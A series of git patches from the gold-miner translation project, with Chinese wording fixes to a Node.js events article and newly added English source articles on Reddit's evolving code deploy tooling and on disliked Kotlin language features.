diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index 4ac3eb152ab..e1d76d4e5c2 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -264,7 +264,7 @@ After executing
 *** Executing task ***
 ```
 
-这明显有问题，异步调用之后不再精确，“Done with execute” 、 “After executing” 出现在了 “\*\*\* Executing task \*\*\*”之前（应该在后）。
+这明显有问题，异步调用之后不再精确，“Done with execute”、“After executing”出现在了“\*\*\*Executing task\*\*\*”之前（应该在后）。
 
 当异步方法结束的时候 emit 一个事件，我们需要把 callback/promise 与事件通信结合起来，刚刚的例子证明了这一点。
 

From 08cfb6e58e3f404d387a71b81fd93f0774b54420 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Tue, 6 Jun 2017 03:16:47 -0500
Subject: [PATCH 623/638] Update
 understanding-node-js-event-driven-architecture.md

---
 .../understanding-node-js-event-driven-architecture.md | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index e1d76d4e5c2..5e1fa9aabf6 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -232,11 +232,11 @@ After executing
 
 需要我们注意的是所有的输出 log 都是同步的，在代码里没有任何异步操作。
 
-* 第一步 “Before executing”
-* 命名为 begin 的事件 emit 输出了 “About to execute”
-* 内含方法的执行输出了“\*\*\* Executing task \*\*\*”
-* 另一个命名事件输出“Done with execute”
-* 最后“After executing”
+* 第一步 “Before executing”；
+* 命名为 begin 的事件 emit 输出了 “About to execute”；
+* 内含方法的执行输出了“\*\*\* Executing task \*\*\*”；
+* 另一个命名事件输出“Done with execute”；
+* 最后“After executing”。
 
 如同之前的 callback，events 并不意味着同步或者异步。
 

From e42fb598a5ddb8034184a7fb757020aebcd9b82e Mon Sep 17 00:00:00 2001
From: edgar <edgar@mailejifen.com>
Date: Tue, 6 Jun 2017 16:21:11 +0800
Subject: [PATCH 624/638] =?UTF-8?q?write-safer-and-cleaner-code-by-leverag?=
 =?UTF-8?q?ing-the-power-of-immutability=20=E4=B8=AD=E5=85=B3=E4=BA=8Eslic?=
 =?UTF-8?q?e=E5=8F=AF=E4=BB=A5=E4=BD=BF=E6=95=B0=E7=BB=84=E5=A4=8D?=
 =?UTF-8?q?=E5=88=B6=E4=BF=9D=E6=8C=81=E4=B8=8D=E5=8F=AF=E5=8F=98=E6=80=A7?=
 =?UTF-8?q?=EF=BC=88immutability=EF=BC=89=E7=9A=84=E8=A1=A5=E5=85=85?=
 =?UTF-8?q?=E8=AF=B4=E6=98=8E?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...-and-cleaner-code-by-leveraging-the-power-of-immutability.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md b/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md
index f9576dfb7f1..a1924997327 100644
--- a/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md
+++ b/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md
@@ -34,7 +34,7 @@ console.log(arrayB); // [1, 2, 3, 4, 5]
 
 例子中 **arrayB** 是 **arrayA** 的引用，所以如果我们通过 push 方法向任意数组中添加一个值 5，那么就会间接影响到另外一个，这个是违反不可变性的原则的。
 
-我们可以通过使用 [slice](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice) 函数以达到不可变性，进而优化我们的例子，此时代码的行为是完全不一样的。
+我们可以通过使用 [slice](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice) 函数以达到不可变性(注意：slice相当于浅复制，要求数组中的每一项必须是简单数据类型。如undefined,number,null,string,boolean等。)，进而优化我们的例子，此时代码的行为是完全不一样的。
 
 ```
 const arrayA = [1, 2, 3];

From 945b93d9cac18e742c478c9db563625f6ec59f3a Mon Sep 17 00:00:00 2001
From: sqrtthree <imsqrtthree@gmail.com>
Date: Tue, 6 Jun 2017 20:56:06 +0800
Subject: [PATCH 625/638] Create
 TODO/the-evolution-of-code-deploys-at-reddit.md

---
 ...the-evolution-of-code-deploys-at-reddit.md | 144 ++++++++++++++++++
 1 file changed, 144 insertions(+)
 create mode 100644 TODO/the-evolution-of-code-deploys-at-reddit.md

diff --git a/TODO/the-evolution-of-code-deploys-at-reddit.md b/TODO/the-evolution-of-code-deploys-at-reddit.md
new file mode 100644
index 00000000000..8424004dc79
--- /dev/null
+++ b/TODO/the-evolution-of-code-deploys-at-reddit.md
@@ -0,0 +1,144 @@
+> * 原文地址：[The Evolution of Code Deploys at Reddit](https://redditblog.com/2017/06/02/the-evolution-of-code-deploys-at-reddit/)
+> * 原文作者：[Neil Williams & Saurabh Sharma](https://redditblog.com/2017/06/02/the-evolution-of-code-deploys-at-reddit/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# The Evolution of Code Deploys at Reddit
+
+![](https://i2.wp.com/redditupvoted.files.wordpress.com/2017/06/header-1.png)
+
+"It’s important to keep an eye on where you are evolving to so that you keep moving in a useful direction."
+
+**We’re constantly deploying code at Reddit**. Every engineer writes code, gets it reviewed, checks it in, and rolls it out to production regularly. This happens as often as 200 times each week and a deploy usually takes fewer than 10 minutes end-to-end.
+
+The system that powers all of this has evolved over the years. Let’s take a look at how it’s changed (and how it hasn’t) over all that time.
+
+## Where this story starts: consistent and repeatable deploys (2007-2010)
+
+The seed of the current system was a Perl script called *push*. It was written at a time very different from now in Reddit’s history. The entire engineering team was [small enough to fit in one small conference room](https://redditupvoted.files.wordpress.com/2010/03/1dff6-table.jpg). Reddit was not yet on AWS. The site ran on a fixed number of servers, with additional capacity having to be added manually, and was comprised of one large monolithic Python application called r2.
+
+One thing that hasn’t changed over the years is that requests are classified at the load balancer and assigned to specific “pools” of otherwise identical application servers. For example, [listing](https://www.reddit.com/r/rarepuppers/) and [comment](https://www.reddit.com/r/AskReddit/comments/cq1q2/help_reddit_turned_spanish_and_i_cannot_undo_it/) pages are served from separate pools of servers. While any given r2 process could handle any kind of request, individual pools are isolated from spikes of traffic to other pools and can fail independently when they have different dependencies.
+
+![](https://redditupvoted.files.wordpress.com/2017/06/pools.png?w=720&amp;h=331)
+
+The *push* tool had a hard-coded list of servers in it and was built around the monolith’s deploy process. It would iterate through all the application servers, SSH into the machine, run a pre-set sequence of commands to update the copy of code on the server via git, then restart all the application processes. In essence (heavily distilled, not real code):
+
+```
+# build the static files and put them on the static server
+`make -C /home/reddit/reddit static`
+`rsync /home/reddit/reddit/static public:/var/www/`
+
+# iterate through the app servers and update their copy
+# of the code, restarting once done.
+foreach $h (@hostlist) {
+    `git push $h:/home/reddit/reddit master`
+    `ssh $h make -C /home/reddit/reddit`
+    `ssh $h /bin/restart-reddit.sh`
+}
+```
+
+The deploy was sequential. It worked its way through servers one by one. As simple as that sounds, this was actually a good thing: it allowed for a form of canary deploy. If you deployed to a few servers and noticed a new exception popping up, you’d know that you introduced a bug and could abort (Ctrl-C) and revert before affecting all requests. Because of the ease of deploys, it was easy to try things out in production and low friction to revert if it didn’t work out. It also meant it was necessary to do only one deploy at a time to ensure that new errors were from *your *deploy and not *that other one* so it was easier to know when and what to revert.
+
+This was all great for ensuring that deploys were consistent and repeatable. It ran pretty quickly. Things were good.
+
+## A bunch of new people (2011)
+
+Then we hired a bunch, growing to six whole engineers, and now fit into a [somewhat larger conference room](https://redditblog.com/2011/07/06/its-time-for-us-to-pack-up-and-move-on-to-bigger-and-better-things/). We started to feel a need for better coordination around deploys, particularly when individuals were working from home. We modified the *push* tool to announce when deploys started and ended via an IRC chatbot. The bot just sat in IRC and announced events. The process for actually doing the deploy looked the same, but now the system did the work for you and told everyone what you were doing.
+
+This was the beginning of us using chat for deployment workflows. There was a lot of talk of systems that managed deploys *from *chat around this time, but since we used third party IRC servers we weren’t able to fully trust the chat room with production control and so it remained a one-way flow of information.
+
+As traffic to the site grew, so did the infrastructure supporting it. We’d occasionally have to launch a new batch of application servers and put them into service. This was still a very manual process, including updating the list of hosts in *push*.
+
+When we added capacity we would usually grow a pool by several servers at a time. The result of this was that iterating through the list of servers sequentially would touch multiple servers in the same pool in quick succession rather than a diverse mix.
+
+![](https://redditupvoted.files.wordpress.com/2017/06/unshuffled.png?w=720&amp;h=104)
+
+We used [uWSGI](https://uwsgi-docs.readthedocs.io/en/latest/) to manage worker processes and so when we told the application to restart it would kill the existing processes and spin up new ones. The new ones took some time to get ready to serve requests and, combined with incidentally targeting a single pool at a time, this would impact the capacity of that pool to serve requests. So we were limited in the rate we could safely deploy to servers. As the list of servers grew, so did the length of the deploys.
+
+## A reworked deploy tool (2012)
+
+We did an overhaul on the deploy tool, written in Python now, confusingly also called *push*. The new version had a few major improvements.
+
+First, it fetched its list of hosts from DNS rather than keeping it hard-coded. This allowed us to update the list of hosts without having to remember to update the deploy tool as well — a rudimentary service discovery system.
+
+To help the issue of sequential restarts, we shuffled the list of hosts before deploying. Because this would mix up the pools of servers, it allowed us to safely roll through at higher speed and so deploy faster.
+
+![](https://redditupvoted.files.wordpress.com/2017/06/shuffled.png?w=720&amp;h=103)
+
+The initial implementation just shuffled randomly each time, but this made it hard to quickly revert code because you wouldn’t deploy to the same first few servers each time. So we amended the shuffle to use a seed that could be re-used on a second deploy when reverting.
+
+Another small but important change was to always deploy a fixed version of the code. The previous version of the tool would update *master*on a given host, but what if *master* changed mid-deploy because someone accidentally pushed up code? By deploying a specific git revision instead of branch name, we ensured that the deploy got the same version everywhere in production.
+
+Finally, the new tool made a distinction between its code (focused on lists of hosts and SSHing into them) and the commands being run. It was still heavily biased by r2’s needs, but it had a proto-API of sorts. This allowed r2 to control its own deploy steps which made it easier to roll out changes to the build and release flow. For example, here’s what might have run on an individual server. The exact commands were hidden but the sequence was still specific to r2’s workflow:
+
+```
+sudo /opt/reddit/deploy.py fetch reddit
+sudo /opt/reddit/deploy.py deploy reddit f3bbbd66a6
+sudo /opt/reddit/deploy.py fetch-names
+sudo /opt/reddit/deploy.py restart all
+```
+
+That fetch-names thing was very much an r2-only concern!
+
+## The autoscaler (2013)
+
+Then we decided to actually get with the cloud thing and autoscale (a subject for a separate blog post). This allowed us to save a ton of money when the site was less busy and automatically grow to keep up with unexpected demand.
+
+The previous improvements that automatically fetched the hostlist from DNS made this a natural transition. The hostlist changed a lot more often than before, but it was no different to the tool. What started out as a quality of life thing became integral to being able to launch the autoscaler.
+
+However, autoscaling did bring up some interesting edge cases. No free lunches. What happens if a server is launched while a deploy is ongoing? We had to make sure each newly launched server checked in to get new code if present. What about servers going away mid-deploy? The tool had to be made smarter to detect when the server was gone legitimately rather than there being an issue with the deploy process itself that should be noisily alerted on.
+
+Incidentally, we also switched from uWSGI to [Gunicorn](http://gunicorn.org/) around this time for various reasons. This didn’t really make a difference as far as deploys are concerned.
+
+So things carried on.
+
+## Too many servers (2014)
+
+Over time, the number of servers needed to serve peak traffic grew. This meant that deploys took longer and longer. At its worst, a normal deploy took close to an hour. This was not good.
+
+We rewrote the deploy tool to handle hosts in parallel. The new version is called *[rollingpin](https://github.com/reddit/rollingpin)**.* A lot of the time the old tool took was initiating ssh connections and waiting for commands to finish, so parallelizing at a safe amount allowed for faster deploys. This instantly took the deploy time down to 5 minutes again.
+
+![](https://redditupvoted.files.wordpress.com/2017/06/parallel.png?w=720&amp;h=103)
+
+To reduce the impact of restarting multiple servers at once, the deploy tool’s shuffle got smarter. Instead of blindly shuffling the list of servers, it would [interleave pools of servers in a way that maximally separated servers from each pool](https://github.com/reddit/rollingpin/blob/master/rollingpin/utils.py#L94-L110). A much more intentional reduction of impact on the site.
+
+The most important change of the new tool was that the [API between the deploy tool and the tool that lived on each server](https://github.com/reddit/rollingpin/blob/master/example-deploy.py) was much more clearly defined and decoupled from r2’s needs. This was originally done with an eye to being more open source-friendly, but it ended up being very useful shortly after. Here’s an example of a deploy, with the highlighted commands being the API executed remotely.
+
+![](https://redditupvoted.files.wordpress.com/2017/06/rollout.png?w=720)
+
+## Too many people (2015)
+
+Suddenly, it seemed, there were a lot of people working on r2 at once. This was great and meant more deploys. Keeping to the one deploy at a time rule slowly became more difficult with individual engineers having to coordinate verbally about which order they would release code in. To fix this, we added another feature to the chatbot which coordinated a queue of deploys. Engineers would ask for the deploy lock and either get it or get put in the queue. This helped keep order in deploys and let people relax a bit while waiting for the lock.
+
+Another important addition as the team grew was to [track deploys in a central location](https://codeascraft.com/2010/12/08/track-every-release/). We modified the deploy tool to send a metric to Graphite so it was easy to correlate deploys to changes in metrics.
+
+## Two (many) services (2015 also)
+
+And just as suddenly we had a second service coming online. The new mobile version of the website was coming online. It was a completely different stack and had its own servers and build process. This was the first real test of the deploy tool’s decoupled API. With the addition of the ability to do build steps in different locations for each project, it held up and we were able to manage both services under the same system.
+
+## 25 many services (2016)
+
+Over the course of the next year, we saw explosive growth in the Reddit team. We went from those two services to a couple dozen and from two teams to fifteen. The majority of our services are either built on [Baseplate](https://github.com/reddit/baseplate), our backend service framework, or node applications similar to mobile web. The deploy infrastructure is common to all of them and more are coming online soon because *rollingpin* doesn’t care what it’s deploying. This makes it easy to spin up new services with tools that people are familiar with.
+
+## The safety net (2017)
+
+With the increased number of servers dedicated to the monolith, the deploy time grew. We wanted to deploy with a high parallel count but doing so would have caused too many simultaneous restarts to the app servers. Hence, we were below capacity and unable to serve incoming requests, overloading other app servers.
+
+Gunicorn’s main process used the same model as uWSGI and would restart all workers at once. While the new worker processes are booting, you are unable to serve any requests. The startup time of our monolith ranged from 10-30 seconds which meant during that period we would be unable to serve any requests. To work around this, we replaced the gunicorn master process with Stripe’s worker manager [Einhorn](https://github.com/stripe/einhorn), while [keeping gunicorn’s HTTP stack and WSGI container](https://github.com/reddit/reddit/blob/master/r2/r2/lib/einhorn.py). Einhorn restarts worker processes by spawning one new worker, waiting for it to declare itself ready, then reaping an old worker, and repeating until all are upgraded. This created a safety net and allowed us to be at capacity during a deploy.
+
+This new model introduced a different problem. As mentioned earlier, it could take up to 30 seconds for a worker to be replaced and booted up. This meant that if your code had a bug, it wouldn’t surface right away and you could roll through a lot of servers. To prevent that, we introduced a way to block the deploy from moving on to another server until all the worker process had been restarted. This was done by simply polling einhorn’s state and waiting until all new workers are ready. To keep up speed, we just increased the parallelism, which was now safe to do.
+
+This new mechanism allows us to deploy to a lot more machines concurrently, and deploy timings are down to 7 minutes for around 800 servers despite the extra waiting for safety.
+
+## In retrospect
+
+This deploy infrastructure is the product of many years of stepwise improvements rather than any single large dedicated effort. Shades of history and tradeoffs taken at each step are visible in the current system and at any point in the past. There are pros and cons to such an evolutionary approach: it’s less effort at any given time, but we may end up in a dead end. It’s important to keep an eye on where you are evolving to so that you keep moving in a useful direction.
+
+## The future
+
+Reddit’s infrastructure needs to support the team as it grows and constantly builds new things. The rate of growth of the company is the highest it’s ever been in Reddit’s history, and we’re working on bigger more interesting projects than ever before. The big issues facing us today are twofold: improving engineer autonomy while maintaining system security in the production infrastructure, and evolving a safety net for engineers to deploy quickly with confidence.
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From ce4fa167ddccc40dd43d6e628bc03065e86c9502 Mon Sep 17 00:00:00 2001
From: sqrtthree <imsqrtthree@gmail.com>
Date: Tue, 6 Jun 2017 21:07:21 +0800
Subject: [PATCH 626/638] Create TODO/what-i-hate-in-kotlin.md

---
 TODO/what-i-hate-in-kotlin.md | 194 ++++++++++++++++++++++++++++++++++
 1 file changed, 194 insertions(+)
 create mode 100644 TODO/what-i-hate-in-kotlin.md

diff --git a/TODO/what-i-hate-in-kotlin.md b/TODO/what-i-hate-in-kotlin.md
new file mode 100644
index 00000000000..29e832f3dd1
--- /dev/null
+++ b/TODO/what-i-hate-in-kotlin.md
@@ -0,0 +1,194 @@
+> * 原文地址：[What do I hate in Kotlin](http://marcinmoskala.com/kotlin/2017/05/31/what-i-hate-in-kotlin.html)
+> * 原文作者：[Moskala Marcin](http://marcinmoskala.com/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+I love Kotlin. It is the best language I ever learned, and I really enjoy writing applications in it since over 2 years.
+After all, like in even the best old marriage, I have a bunch of stuff that I hate and I know that most of them won’t change.
+Most of them are not a big problems and they are it is hard to fall into them.
+Still, they are there, and they are Kotlins fly in the ointment.
+
+# The legacy of Java
+
+In Kotlin you cannot define this two functions:
+
+```
+fun foo(strings: List<String>) {}
+fun foo(ints: List<Int>) {}
+```
+
+It is because both of them have the same JVM signature. This is not a Kotlin problem, but result of how they are compiled to Java bytecode.
+It is just one way how Java legacy is influencing Kotlin execution. But there are bigger problems. For example, that [extensions are resolved statically](https://kotlinlang.org/docs/reference/extensions.html#extensions-are-resolved-statically). This is a big problem, and I hope to write whole article just about it. For now - it is just problematic and unintuitive.
+Thing is, that it was designed this way, because then extension functions are simply compiled to static functions with receiver on first
+parameter. Now it needs to be implemented the same way in Kotlin\JavaScipt and Kotlin\Native. Just great.
+
+# Minus operator problems and other unintuitive operation results
+
+Let’s look at this operation:
+
+```
+println(listOf(2,2,2) - 2) // [2, 2]
+```
+
+Result is intuitive- we are removing element from list so we get list without it. Now let’s look at this operation:
+
+```
+println(listOf(2,2,2) - listOf(2))
+```
+
+What is the result? Empty list! Pretty unintuitive, and I [report it over a year ago](https://youtrack.jetbrains.com/issue/KT-11453).
+But the answer was “As Designed”. It is true, while function description is following:
+
+```
+/*
+// Returns a list containing all elements of the original collection except the elements contained in the given [elements] collection.
+*/
+```
+
+But it doesn’t make it’s behavior better. This is one example of implementation that is unintuitive. Let’s look at some more unintuitive results:
+
+```
+"1".toInt() // 1 - parsed to number
+'1'.toInt() // 49 - its ASCII code
+```
+
+
+It is correct, but wired in the same time. Note that predicates are true:
+
+```
+"1".toInt() != '1'.toInt()
+"1".toInt() != "1"[0].toInt()
+```
+
+
+While any non-numeric character in `String` will cause `NumberFormatException`, there is also `toIntOrNull` function for String that is returning null instead.
+I think that it is good enough argument that this function should be named in different way in the first place. Maybe `parseInt`?
+
+Let’s go to another thing, but this one is more complex to understand: (thanks to [Maciej Górski](https://github.com/mg6maciej) for showing it to me)
+
+```
+1.inc() // 2
+1.dec() // 0
+-1.inc() // -2
+-1.dec() // 0
+```
+
+Two last results are strange, aren’t they? The reason is that minus is not a part of the number, but unary extension function
+to Int. This is why this two last lines are the same as:
+
+```
+1.inc().unaryMinus()
+1.dec().unaryMinus()
+```
+
+This is also as designed, and it wont change. Also, some will argue that it is how is how is should act. Let’s suppose that we made space behind Int:
+
+```
+- 1.inc() // -2
+- 1.dec() // 0
+```
+
+Now it looks rational. How it should be used? Number should be in bracket together with minus.
+
+```
+(-1).inc() // 0
+(-1).dec() // -2
+```
+
+From rational point of view it is ok, but I think that everyone feels that `-2` should be a number, not `2.unaryMinus()`.
+
+# Isolationism
+
+There are multiple Kotlin extensions to any object (like let, apply, run, also, to, takeIf, …), and I see lot’s of
+creativity in their usage. In Kotlin, you can replace this definition:
+
+```
+val list = if(student != null) {
+    getListForStudent(student)
+} else {
+    getStandardList()
+}
+```
+
+With this:
+
+```
+val list = student?.let { getListForStudent(student) } ?: getStandardList()
+```
+
+Ok, is is shorter and looks good. Also, when there are some other conditions added then we can still use it:
+
+```
+val list = student?.takeIf { it.passing }?.let { getListForStudent(student) } ?: getStandardList()
+```
+
+But it is really better then simple, old if condition?
+
+```
+val list = if(student != null && student.passing) {
+    getListForStudent(student)
+} else {
+    getStandardList()
+}
+```
+
+I do not judge, but the fact is that implementation that is strongly using all Kotlin extensions are hard and unintuitive for people
+who are not Kotlin developers. This kind of features are making Kotlin harder and harder for beginners. The big change comes with
+Kotlin Coroutines. It is great feature. When I started learning it, then through whole day I was repeating “incretable” and “wow”.
+It is awesome how Kotlin Coroutines are making multithreading so simple. I feel that this should be designed this way from the beginning of programming.
+Still, it is complex to understand Kotlin Coroutines, and it is far away from how it is implemented in other technologies.
+If community will start strongly using Coroutines, then it will be another barrier for programmers from other languages to jump in. This
+leads to isolationism. And I feel that it is too early for that. Right now Kotlin is becoming more and more popular in Android and Web, and it just
+started to be used in JavaScript and native. I think that this diversification is now much more important, and introduction
+of Kotlin specific features should start later. Right now, there is still a lot of work to od in Kotlin\JavaScript and Kotlin\Native.
+
+# Tuples vs SAM
+
+[Kotlin resigned from tuples](https://blog.jetbrains.com/kotlin/migrating-tuples/) and left just `Pair` and `Triple`.
+The reason was that there should be data classes used instead.
+What is the difference? Data class contains name, and all its properties are named too. Except that, it can be used like tuple:
+
+```
+data class Student(
+        val name: String,
+        val surname: String,
+        val passing: Boolean,
+        val grade: Double
+)
+
+val (name, surname, passing, grade) = getSomeStudent()
+```
+
+It the same time, Kotlin added support to Java SAM (Simple Abstract Method) by generation of lambda constructor and methods
+that are containing lambda methods instead of Java SAM:
+
+```
+view.setOnClickListener { toast("Foo") }
+```
+
+But it is not working for SAM defined in Kotlin, because it is suggested to use functional types instead. What is the difference
+between SAM and functional type? SAM contains name, and all its parameters are named too. Sure, from Kotlin 1.1 named functional type
+ can be implemented by typealias:
+
+```
+typealias OnClick = (view: View)->Unit
+```
+
+But I still feel that there is lack of symmetry. If it is strongly suggested to use named data classes and tuples are prohibited, then
+why it is suggested to use functional types instead of SAM and Kotlin SAM are not supported? Possible answer is that tuples are making more
+problems then good in real-life projects. JetBrains have a lot of data about languages usage and they know how to analyze it.
+They know a lot about how lambguage features are influencing development and I guess that they know what are they doing.
+I just base on feeling that, it would be better if programmer could decide if he want to use tuple or data class.
+And it is not isolationism, because tuples are implemented in most modern languages.
+
+# Summary
+
+This are, in fact, just a small things. It is nothing comparing to what can be found in JavaScript, PHP or Ruby.
+Kotlin was well designed from the beginning, and it is a solution to a lot of problems.
+There are just some small stuff that didn’t go well enough.
+Still it is, and it will be, my most favourite language for at least few more years.
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 99a2206a6802e8173de6041d15d58f810c277cda Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Tue, 6 Jun 2017 08:15:20 -0500
Subject: [PATCH 627/638] Update
 understanding-node-js-event-driven-architecture.md

---
 TODO/understanding-node-js-event-driven-architecture.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index 5e1fa9aabf6..1fd720695fc 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -218,7 +218,7 @@ withLog.on('end', () => console.log('Done with execute'));
 withLog.execute(() => console.log('*** Executing task ***'));
 ```
 
-WithLog 类是一个 event emitter。它有一个 excute 方法，接收一个 taskFunc 任务函数作为参数，并将此函数的执行包含在 log 语句之中，分别在开始和结束的时候调用了 emit 方法。
+WithLog 类是一个 event emitter。它有一个 excute 方法，接收一个 taskFunc 任务函数作为参数，并将此函数的执行包含在 log 语句之中，分别执行之前和之后调用了 emit 方法。
 
 执行结果如下：
 

From 258276a2554f26270ef1902ea884e1995472da0c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Tue, 6 Jun 2017 08:28:31 -0500
Subject: [PATCH 628/638] Update
 understanding-node-js-event-driven-architecture.md

---
 TODO/understanding-node-js-event-driven-architecture.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index 1fd720695fc..c8ef6b6cd7e 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -422,7 +422,7 @@ DeprecationWarning: Unhandled promise rejections are deprecated. In the future,
 
 另一种处理异常的方法是注册一个全局的 uncaughtException 进程事件，但是，全局的捕获错误对象并不是一个好办法。
 
-关于 uncaughtException 的建议是不要使用。你一定要用的话，应该让进程在此结束：
+关于 uncaughtException 的建议是不要使用。你一定要用的话（比如说报告发生了什么或者做一些清理工作），应该让进程在此结束：
 
 ```js
 process.on('uncaughtException', (err) => {

From 64cf620a31296640959cade26a37d009800a8378 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Wed, 7 Jun 2017 00:11:33 +0800
Subject: [PATCH 629/638] Update
 understanding-node-js-event-driven-architecture.md

---
 ...nding-node-js-event-driven-architecture.md | 26 +++++++++----------
 1 file changed, 13 insertions(+), 13 deletions(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index c8ef6b6cd7e..37e40ffb961 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -18,11 +18,11 @@
 
 #### Node，在你准备好的时候调用我吧！ ####
 
-以前没有原生的 promise、async/await 特性支持，Node 最原始的处理异步的方式是使用 callback。
+以前没有原生的 promise、async/await 特性支持，Node 最原始的处理异步的方式是使用回调。
 
-callback 函数从本质上讲就是作为参数传递给其他函数的函数，在 JS 中这是可能的，因为函数是一等公民。
+回调函数从本质上讲就是作为参数传递给其他函数的函数，在 JS 中这是可能的，因为函数是一等公民。
 
-callback 函数并不一定异步调用，这一点非常重要。在函数中，我们可以根据需要同步/异步调用 callback。
+回调函数并不一定异步调用，这一点非常重要。在函数中，我们可以根据需要同步/异步调用回调函数。
 
 例如，在下面例子中，主函数 `fileSize` 接收一个回调函数 `cb` 为参数，根据不同情况以同步/异步方式调用 `cb`：
 
@@ -42,7 +42,7 @@ function fileSize (fileName, cb) {
 
 请注意，这并不是一个好的实践，它也许会带来一些预期外的错误。最好将主函数设计为始终同步或始终异步地使用回调。
 
-我们再来看看下面这种典型的用 callback 风格处理的异步 Node 函数：
+我们再来看看下面这种典型的回调风格处理的异步 Node 函数：
 
 ```js
 const readFileAsArray = function(file, cb) {
@@ -102,7 +102,7 @@ readFileAsArray('./numbers.txt')
   .catch(console.error);
 ```
 
-作为调用 callback 的替代品，我们用 `.then` 函数来接受主方法的返回值，`.then` 中我们可以和之前在回调函数中一样处理数据，但是对于错误我们用`.catch`函数来处理。
+作为调用 callback 的替代品，我们用 `.then` 函数来接受主方法的返回值，`.then` 中我们可以和之前在回调函数中一样处理数据，而对于错误我们用`.catch`函数来处理。
 
 现代 JavaScript 中的 Promise 对象，使主函数支持 Promise 接口变得更加容易。我们把刚刚的 `readFileAsArray` 方法用改写一下以支持 Promise：
 
@@ -125,9 +125,9 @@ const readFileAsArray = function(file, cb = () => {}) {
 
 现在这个函数返回了一个 Promise 对象，该对象包含 `fs.readFile` 的异步调用，Promise 对象暴露了两个参数：`resolve` 函数和 `reject` 函数。
 
-`reject` 函数的作用就和我们之前 callback 中处理错误是一样的，而 `resolve` 函数也就和我们正常处理返回值是一样的。
+`reject` 函数的作用就和我们之前 callback 中处理错误是一样的，而 `resolve` 函数也就和我们正常处理返回值一样。
 
-我们剩下唯一要做的就是在实例中指定 `reject` `resolve` 函数的默认值，在 Promise 中，我们只要写一个空函数即可，例如 `(\) => {}`.
+剩下唯一要做的就是在实例中指定 `reject` `resolve` 函数的默认值，在 Promise 中，我们只要写一个空函数即可，例如 `(\) => {}`.
 
 #### 在 async/await 中使用 Promise ####
 
@@ -154,11 +154,11 @@ countOdd();
 
 首先我们创建了一个 `async` 函数，只是在定义 function 的时候前面加了 `async` 关键字。在 `async` 函数里，使用关键字 `await` 使 `readFileAsArray` 函数好像返回普通变量一样，这之后的编码也好像 `readFileAsArray` 是同步方法一样。
 
-`async` 函数的执行过程是非常易读的，而处理错误只需要在异步调用外面包上一层 `try/catch` 即可。
+`async` 函数的执行过程非常易读，而处理错误只需要在异步调用外面包上一层 `try/catch` 即可。
 
